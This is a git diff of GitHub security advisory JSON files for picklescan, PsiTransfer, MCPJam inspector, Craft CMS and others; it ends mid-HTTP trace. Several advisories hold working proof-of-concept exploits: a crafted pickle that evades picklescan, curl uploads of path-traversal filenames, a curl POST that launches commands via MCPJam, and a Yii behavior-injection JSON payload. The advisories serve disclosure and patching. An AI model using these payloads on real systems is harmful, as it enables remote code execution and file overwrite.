b/advisories/github-reviewed/2025/12/GHSA-x843-g5mx-g377/GHSA-x843-g5mx-g377.json new file mode 100644 index 0000000000000..c019aa9704355 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-x843-g5mx-g377/GHSA-x843-g5mx-g377.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-x843-g5mx-g377", + "modified": "2025-12-29T20:03:30Z", + "published": "2025-12-29T20:03:30Z", + "aliases": [], + "summary": "Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller", + "details": "### Summary\nPicklescan uses `operator.methodcaller`, which is a built-in python library function to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling the `operator.methodcaller` function in method `reduce`.\n- Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.\n\n### PoC\n```\nimport pickle\nimport pickletools\nopcode1 = b'''cbuiltins\n__import__\n(Vos\ntRp0\n0coperator\nmethodcaller\n(Vsystem\nVecho \"pwned by operator.methodcaller\"\ntR(g0\ntR.'''\npickletools.dis(opcode1)\npickle.loads(opcode1)\n```\nThis PoC can't be easily created by pickle.dumps, therefore it was manually built. \n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-x843-g5mx-g377" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-94" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T20:03:30Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-xm59-rqc7-hhvf/GHSA-xm59-rqc7-hhvf.json b/advisories/github-reviewed/2025/12/GHSA-xm59-rqc7-hhvf/GHSA-xm59-rqc7-hhvf.json index e663ab9033848..d1be6f3dafcc0 100644 --- a/advisories/github-reviewed/2025/12/GHSA-xm59-rqc7-hhvf/GHSA-xm59-rqc7-hhvf.json +++ b/advisories/github-reviewed/2025/12/GHSA-xm59-rqc7-hhvf/GHSA-xm59-rqc7-hhvf.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-xm59-rqc7-hhvf", - "modified": "2025-12-18T22:03:08Z", + "modified": "2026-02-10T13:48:26Z", "published": "2025-12-18T22:03:08Z", "aliases": [ "CVE-2025-53000" @@ -28,7 +28,7 @@ "introduced": "0" }, { - "last_affected": "7.16.6" + "fixed": "7.17.0" } ] } @@ -36,10 +36,22 @@ } ], "references": [ + { + "type": "WEB", + "url": "https://github.com/jupyter/nbconvert/security/advisories/GHSA-xm59-rqc7-hhvf" + }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53000" }, + { + "type": "WEB", + "url": "https://github.com/jupyter/nbconvert/issues/2258" + }, + { + "type": "WEB", + "url": "https://github.com/jupyter/nbconvert/commit/c9ac1d1040459ed1ff9eb34e9918ce5a87cf9d71" + }, { "type": "PACKAGE", "url": "https://github.com/jupyter/nbconvert" @@ -48,6 +60,10 @@ "type": "WEB", "url": "https://github.com/jupyter/nbconvert/blob/4f61702f5c7524d8a3c4ac0d5fc33a6ac2fa36a7/nbconvert/preprocessors/svg2pdf.py#L104" }, + { + "type": "WEB", + "url": "https://github.com/jupyter/nbconvert/releases/tag/v7.17.0" + }, { "type": "WEB", "url": "https://www.imperva.com/blog/code-execution-in-jupyter-notebook-exports" diff --git a/advisories/github-reviewed/2025/12/GHSA-xphh-5v4r-r3rx/GHSA-xphh-5v4r-r3rx.json b/advisories/github-reviewed/2025/12/GHSA-xphh-5v4r-r3rx/GHSA-xphh-5v4r-r3rx.json new file mode 100644 index 0000000000000..c731a9b66b4d2 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-xphh-5v4r-r3rx/GHSA-xphh-5v4r-r3rx.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-xphh-5v4r-r3rx", + "modified": "2025-12-30T19:25:04Z", + "published": "2025-12-30T19:25:04Z", + "aliases": [], + "summary": "PsiTransfer has Zip Slip Path Traversal via TAR Archive Download", + "details": "### Summary\n\nA Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.\n\n### Details\n\nThe vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.\n\n```\nlib/endpoints.js:275\n\nconst entry = pack.entry({ name: info.metadata.name, size: info.size });\n```\n\n```\nlib/endpoints.js:372\nassert(meta.name, 'tus meta prop missing: name');\n```\n\n### PoC\n\nI. Upload file with malicious filename (no authentication required).\n\n```\nMALICIOUS_NAME=$(echo -n \"../../../tmp/dp.txt\" | base64)\nSID=$(echo -n \"evil\" | base64)\nRETENTION=$(echo -n \"3600\" | base64)\n\ncurl -X POST http://TARGET:3000/files \\\n -H \"Tus-Resumable: 1.0.0\" \\\n -H \"Upload-Length: 15\" \\\n -H \"Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}\"\n```\n\nII. Complete upload with PATCH\n\n```\ncurl -X PATCH \"http://TARGET:3000/files/evil++\" \\\n -H \"Tus-Resumable: 1.0.0\" \\\n -H \"Upload-Offset: 0\" \\\n -H \"Content-Type: application/offset+octet-stream\" \\\n -d \"MALICIOUS_CONTENT\"\n```\n \nIII. Victim downloads and extracts TAR\n\n```\ncurl \"http://TARGET:3000/files/evil++.tar.gz\" -o files.tar.gz\ntar -tzf files.tar.gz\n```\n\n### Impact\n\nArbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive.\nRCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...\nNo Authentication Required: Default configuration has **uploadPass: false**.\nSocial Engineering Vector: Attacker sends malicious download link to victim.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "psitransfer" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.3.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/psi-4ward/psitransfer/security/advisories/GHSA-xphh-5v4r-r3rx" + }, + { + "type": "WEB", + "url": "https://github.com/psi-4ward/psitransfer/commit/6c71bc0b8afa1ffa7aabd6c5fb28677651fd57b6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/psi-4ward/psitransfer" + }, + { + "type": "WEB", + "url": "https://github.com/psi-4ward/psitransfer/releases/tag/v2.3.1" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22", + "CWE-23" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T19:25:04Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-232v-j27c-5pp6/GHSA-232v-j27c-5pp6.json b/advisories/github-reviewed/2026/01/GHSA-232v-j27c-5pp6/GHSA-232v-j27c-5pp6.json new file mode 100644 index 0000000000000..6735a7f63c3eb --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-232v-j27c-5pp6/GHSA-232v-j27c-5pp6.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-232v-j27c-5pp6", + "modified": "2026-01-16T21:57:08Z", + "published": "2026-01-16T21:15:35Z", + "aliases": [ + "CVE-2026-23744" + ], + "summary": "REC in MCPJam inspector due to HTTP Endpoint exposes", + "details": "### Summary\nMCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.\n\nThis vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.\n\n\n\n### Details\nMCPJam inspector binds to `0.0.0.0` making its HTTP APIs remotely reachable.\n``` TypeScript\nconst server = serve({\n fetch: app.fetch,\n port: SERVER_PORT,\n hostname: \"0.0.0.0\",\n});\n```\n\nThe `/api/mcp/connect` API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the `/connect` route, the system extracts the `command` and `args` fields without performing any security checks, leading to the execution of arbitrary command.\n\n### PoC\n(1) Start up the MCPJam inspector as Github README\n`npx @mcpjam/inspector@latest`\n\n(2) RCE by posting a HTTP request\nA remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).\n`curl http://10.97.58.83:6274/api/mcp/connect --header \"Content-Type: application/json\" --data \"{\\\"serverConfig\\\":{\\\"command\\\":\\\"cmd.exe\\\",\\\"args\\\":[\\\"/c\\\", \\\"calc\\\"],\\\"env\\\":{}},\\\"serverId\\\":\\\"mytest\\\"}\"`\n\n\n\"image\"\n\n\n### Impact\nRemote Code Execution (RCE)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@mcpjam/inspector" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.4.3" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.4.2" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23744" + }, + { + "type": "WEB", + "url": "https://github.com/MCPJam/inspector/commit/e6b9cf9d9e6c9cbec31493b1bdca3a1255fe3e7a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/MCPJam/inspector" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-306" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-16T21:15:35Z", + "nvd_published_at": "2026-01-16T20:15:51Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-23f4-hfmq-94mj/GHSA-23f4-hfmq-94mj.json b/advisories/github-reviewed/2026/01/GHSA-23f4-hfmq-94mj/GHSA-23f4-hfmq-94mj.json new file mode 100644 index 0000000000000..87622e2bb3a02 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-23f4-hfmq-94mj/GHSA-23f4-hfmq-94mj.json @@ -0,0 +1,66 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-23f4-hfmq-94mj", + "modified": "2026-01-28T15:58:39Z", + "published": "2026-01-27T09:30:30Z", + "aliases": [ + "CVE-2026-24807" + ], + "summary": "Quick-Media Batik Codec FIX Package has Buffer Overflow Vulnerability in PNG Codec", + "details": "Improper Verification of Cryptographic Signature vulnerability in liuyueyi quick-media (plugins/svg-plugin/batik-codec-fix/src/main/java/org/apache/batik/ext/awt/image/codec/util modules). This vulnerability is associated with program files SeekableOutputStream.Java.\n\nThis issue affects all versions of quick-media. A patch is available: [3970e96](https://github.com/liuyueyi/quick-media/pull/123/commits/3970e967f6661328a5544fd0b977dac1a35e380b)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/S:N/AU:Y/R:U/V:C/RE:M/U:Amber" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "com.github.liuyueyi.media:batik-codec-fix" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "3.0.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24807" + }, + { + "type": "WEB", + "url": "https://github.com/liuyueyi/quick-media/pull/123" + }, + { + "type": "WEB", + "url": "https://github.com/liuyueyi/quick-media/commit/3970e967f6661328a5544fd0b977dac1a35e380b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/liuyueyi/quick-media" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-120", + "CWE-190" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-28T15:58:39Z", + "nvd_published_at": "2026-01-27T09:15:50Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-23hh-2f47-3p4h/GHSA-23hh-2f47-3p4h.json b/advisories/github-reviewed/2026/01/GHSA-23hh-2f47-3p4h/GHSA-23hh-2f47-3p4h.json new file mode 100644 index 0000000000000..8be8d7ded2c04 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-23hh-2f47-3p4h/GHSA-23hh-2f47-3p4h.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-23hh-2f47-3p4h", + "modified": "2026-02-05T22:00:27Z", + "published": "2026-01-20T00:30:27Z", + "aliases": [ + "CVE-2026-1193" + ], + "summary": "MineAdmin has Incorrect Privilege Assignment", + "details": "A vulnerability was identified in MineAdmin 1.x/2.x. The impacted element is an unknown function of the file /system/cache/view of the component View Interface. The manipulation leads to improper authorization. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "mineadmin/mineadmin" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0" + }, + { + "last_affected": "2.0.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1193" + }, + { + "type": "WEB", + "url": "https://github.com/SourByte05/MineAdmin-Vulnerability/issues/6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mineadmin/MineAdmin" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?ctiid.341778" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?id.341778" + }, + { + "type": "WEB", + "url": "https://vuldb.com/?submit.734270" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-266" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-02-05T22:00:27Z", + "nvd_published_at": "2026-01-19T23:16:03Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-2497-gp99-2m74/GHSA-2497-gp99-2m74.json b/advisories/github-reviewed/2026/01/GHSA-2497-gp99-2m74/GHSA-2497-gp99-2m74.json new file mode 100644 index 0000000000000..8157dec7f03d3 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-2497-gp99-2m74/GHSA-2497-gp99-2m74.json @@ -0,0 +1,82 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2497-gp99-2m74", + "modified": "2026-02-02T22:22:03Z", + "published": "2026-01-20T16:30:54Z", + "aliases": [ + "CVE-2026-21696" + ], + "summary": "Pterodactyl endlessly reprocesses/reuploads activity log data due to SQLite max parameters limit not being considered", + "details": "### Summary \nWings does not consider SQLite max parameter limit when processing activity log entries allowing for low privileged user to trigger a condition that floods the panel with activity records \n\n### Details \nAfter wings sends activity logs to the panel it deletes the processed activity entries from the wings SQLite database. However, it does not consider the max parameter limit of SQLite, 32766 as of SQLite 3.32.0. \n\nIf wings attempts to delete more than 32766 entries from the SQLite database in one query, it triggers an error (SQL logic error: too many SQL variables (1)) and does not remove any entries from the database. These entries are then indefinitely re-processed and resent to the panel each time the cron runs. \n\nhttps://github.com/pterodactyl/wings/blob/9ffbcdcdb1163da823cf9959b9602df9f7dcb54a/internal/cron/activity_cron.go#L81\nhttps://github.com/pterodactyl/wings/blob/9ffbcdcdb1163da823cf9959b9602df9f7dcb54a/internal/cron/sftp_cron.go#L86\n\n### PoC \nAny method that can create the required 32767+ activity entries can trigger this vulnerability. It can (and has) been triggered by normal (non-malicious) use. I attached a simple PoC I used while verifying this that uses sftp to quickly create many small files, thus creating activity entries in the SQLite database. \nhttps://ptero.co/mococesoca.go\n\n\n \n\n### Impact \nBy successfully exploiting this vulnerability you can trigger a situation where wings will keep uploading the same activity data to the panel repeatedly (growing each time to include new activity) until the panels’ database server runs out of disk space.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/pterodactyl/wings" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.7.0" + }, + { + "fixed": "1.12.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-2497-gp99-2m74" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21696" + }, + { + "type": "WEB", + "url": "https://github.com/pterodactyl/panel/commit/09caa0d4995bd924b53b9a9e9b4883ac27bd5607" + }, + { + "type": "WEB", + "url": "https://github.com/pterodactyl/panel/releases/tag/v1.12.0" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pterodactyl/wings" + }, + { + "type": "WEB", + "url": "https://github.com/pterodactyl/wings/blob/9ffbcdcdb1163da823cf9959b9602df9f7dcb54a/internal/cron/activity_cron.go#L81" + }, + { + "type": "WEB", + "url": "https://github.com/pterodactyl/wings/blob/9ffbcdcdb1163da823cf9959b9602df9f7dcb54a/internal/cron/sftp_cron.go#L86" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-400", + "CWE-770" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-20T16:30:54Z", + "nvd_published_at": "2026-01-19T20:15:49Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-253q-9q78-63x4/GHSA-253q-9q78-63x4.json b/advisories/github-reviewed/2026/01/GHSA-253q-9q78-63x4/GHSA-253q-9q78-63x4.json new file mode 100644 index 0000000000000..2894132c1fb7c --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-253q-9q78-63x4/GHSA-253q-9q78-63x4.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-253q-9q78-63x4", + "modified": "2026-01-28T16:21:03Z", + "published": "2026-01-28T16:21:03Z", + "aliases": [ + "CVE-2026-24785" + ], + "summary": "Clatter has a PSK Validity Rule Violation issue", + "details": "### Impact\n\nProtocol compliance vulnerability. The library allowed post-quantum handshake patterns that violated the PSK validity rule (Noise Protocol Framework Section 9.3). This could allow PSK-derived keys to be used for encryption without proper randomization by self-chosen ephemeral randomness, weakening security guarantees and potentially allowing catastrophic key reuse.\n\nAffected default patterns include `noise_pqkk_psk0`, `noise_pqkn_psk0`, `noise_pqnk_psk0`, `noise_pqnn_psk0`, and some hybrid variants. Users of these patterns may have been using handshakes that do not meet the intended security properties.\n\n### Patches\n\nThe issue is fully patched and released in Clatter v2.2.0. The fixed version includes runtime checks to detect offending handshake patterns.\n\n### Workarounds\n\nAvoid using offending `*_psk0` variants of post-quantum patterns. Review custom handshake patterns carefully.\n\n### Resources\n\n* [PSK validity rule](https://noiseprotocol.org/noise.html#validity-rule)", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "clatter" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.2.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jmlepisto/clatter/security/advisories/GHSA-253q-9q78-63x4" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24785" + }, + { + "type": "WEB", + "url": "https://github.com/jmlepisto/clatter/commit/b65ae6e9b8019bed5407771e21f89ddff17c5a71" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jmlepisto/clatter" + }, + { + "type": "WEB", + "url": "https://noiseprotocol.org/noise.html#validity-rule" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-327" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-28T16:21:03Z", + "nvd_published_at": "2026-01-28T00:15:50Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-255j-qw47-wjh5/GHSA-255j-qw47-wjh5.json b/advisories/github-reviewed/2026/01/GHSA-255j-qw47-wjh5/GHSA-255j-qw47-wjh5.json new file mode 100644 index 0000000000000..7b2bfcb293fd3 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-255j-qw47-wjh5/GHSA-255j-qw47-wjh5.json @@ -0,0 +1,102 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-255j-qw47-wjh5", + "modified": "2026-01-06T15:52:18Z", + "published": "2026-01-05T18:50:14Z", + "aliases": [ + "CVE-2025-68455" + ], + "summary": "Craft CMS vulnerable to potential authenticated Remote Code Execution via malicious attached Behavior", + "details": "Note that attackers must have administrator access to the Craft Control Panel for this to work.\n\nUsers should update to the patched versions (5.8.21 and 4.16.17) to mitigate the issue.\n\nResources:\n\nhttps://github.com/craftcms/cms/commit/6e608a1a5bfb36943f94f584b7548ca542a86fef\n\nhttps://github.com/craftcms/cms/commit/27f55886098b56c00ddc53b69239c9c9192252c7\n\nhttps://github.com/craftcms/cms/commit/ec43c497edde0b2bf2e39a119cded2e55f9fe593\n\nhttps://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04\n\n### Summary\n\nThis was reported as a vulnerability in Yii framework on August 7th (https://github.com/yiisoft/yii2/security/advisories/GHSA-gcmh-9pjj-7fp4). The Yii framework team denies responsibility for this (placing the onus on application developers) and hence has not (and seemingly will not) provide a fix at the framework level. Hence, I am reporting this to Craft as I found it to affect the latest (`5.6.0`) version of Craft CMS.\n\nLeveraging a legitimate but maliciously crafted Yii `Behavior` class, it’s possible to trigger Remote Code Execution (RCE) via Reflection when the tainted `Behavior` is attached to a Yii `Component`, and an event is also fired on the tainted `Component`.\n\n### Details\nThis vulnerability is inspired by `CVE-2024-4990` but differs because a legitimate Yii `Behavior` class is used to abuse the magic `__set()` and `__get()` methods to trigger an arbitrary PHP callable, ultimately leading to RCE. As such, this bypasses the mitigations implemented for `CVE-2024-4990` and the related `CVE-2024-58136`.\n\nUsing the `as ` syntax in JSON POST input, it’s possible to [attach](https://www.yiiframework.com/doc/guide/2.0/en/concept-behaviors#attaching-behaviors) `Behavior` classes to Yii `Components`, which was the crux of the vulnerability identified in `CVE-2024-4990`. Fixes for that vulnerability and the related `CVE-2024-58136` ensured that only classes of type `Behavior` could be attached to a `Component`. Craft CMS also implemented additional logic to prevent arbitrary `Behavior` classes from being attached to the vulnerable `Component`.\n\nA new vulnerability has been identified that bypasses the fixes for the previous vulnerabilities by using a legitimate but specially crafted `Behavior` class, namely the `yii\\behaviors\\AttributeTypecastBehavior`. Attaching a `Behavior` of this type allows the attacker to define an arbitrary callable that is triggered if any event is fired on the tainted `Component`.\n\nUsing a [wildcard](https://www.yiiframework.com/doc/guide/2.0/en/concept-events#wildcard-events) event listener (specified as `on *` in JSON input) allows the attacker to catch any event called on the tainted `Component` and redirect the flow of control to call `self::beforeSave` of the `AttributeTypecastBehavior`, triggering the attacker-defined callable and resulting in RCE.\n\nSee the commented payload below:\n\n```json\n{\n \"as xxx\": {\n \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n \"__construct()\": [\n {\n \"attributeTypes\": {\n \"typecastBeforeSave\": [\"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\", \"execute\"] // Attacker defined callable\n },\n \"typecastBeforeSave\": \"touch /tmp/touch\" // Argument for the callable\n }\n ]\n },\n \"on *\": \"self::beforeSave\" // When any event is fired on the Component, call beforeSave() of the AttributeTypecastBehavior to trigger the attacker-defined callable with the argument above\n}\n```\n\nThis was found to affect two separate controllers/routes in Craft CMS admin functionality, though others may be affected:\n* /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings\n* /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview\n\n### PoC\n* Install Craft CMS via Composer:\n```\n$ composer create-project \"craftcms/craft\" app\n```\n* Use the built-in server to launch Craft CMS:\n```\n$ ./craft serve 127.0.0.1:9090\n```\n* The following HTTP traces show the payload used to trigger the vulnerability on each of the vulnerable routes:\n\n**/index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings**\n\n```\nPOST /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings&v=1763562868146 HTTP/1.1\nHost: 127.0.0.1:9090\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://127.0.0.1:9090/admin/settings/categories/new\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nX-Registered-Asset-Bundles: 815d39ea,22e517a2,aee7f8dc,26c46c25,e505ffd6,6b4d7555,bb2f10a0,e5e48399,fc0bc163,1ccab40d,1e21896b,54698ee0,b842675b,1c3c9add,4b1fd285,d8d08e47,8f00ce04,8768f48b,cf3018d6,ec6d0256,eccadbb\nX-Registered-Js-Files: \nX-CSRF-Token: NElpp0FZTEyq2Yi4lyNbtvf5Qbtd3QIi8AUd4cJQjVKBFZrT8xSXNSuQHr269qyDYJm1hnoc98dlKRN1zAqj5r8hETtg8v1-rwd8YI-lJZxz_poluu6hCs2P6CRNu8yltOgF6vPsxT09sIund8NSBu4aocboYd0msvEcOWcT7sDsEWppVKyGSdPFMowzbbMBtBEwWz8F1AkjfAPB9NiL5HBs15C3LosCpHoXqEtehagy_Tfeff6QtVn8V1egfIjYz5jhAq6Btkklw6ZQESZG_z3F19sRKQwFxpgbzTZFULvHRKRDzP4XjYzHOKm5iR163amWgYw22pGIpA5f3_3LBIsoNqFxjJbbEo4R05ZSVldMl7jZSSQqMMbkObaaWuhwK_5q1m0B\nContent-Length: 1787\nOrigin: http://127.0.0.1:9090\nConnection: keep-alive\nCookie: CraftSessionId=b8veo0jao7aso9f9sas5irahcc; CRAFT_CSRF_TOKEN=f0a58b5c53676765154b56f4434bf49b7adac3eee76250658acfbb63999e3103a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22ovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C0b5b94bb740394a585337f1d087e4eeb1904ba802d27bf2d6a97fe35d30bda3bovlsHz0Ok-P3sS7agNo0_yx5XNCdjbpe_hdCFMkb%7C1%22%3B%7D; c3ace995f4d19645dc65b957cf54e92e_identity=2c5abb45e65baee8d4fef5a873df2367ab1c42598a8937138bcba58593033d68a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22c3ace995f4d19645dc65b957cf54e92e_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%22CdWbsSlpUey1DCRudhcod_xy0tXLc2oIHlOAeYLTAqOmF0rBIv2zaXQp4eg4AUBRc0qQr5G5wElj01yRXhojzuRZnPIW-GJqGo_U%5C%22%2Cnull%2C%5C%22961fe1815772f9207245de1a33ecd079%5C%22%5D%22%2C1209600%5D%22%3B%7D; 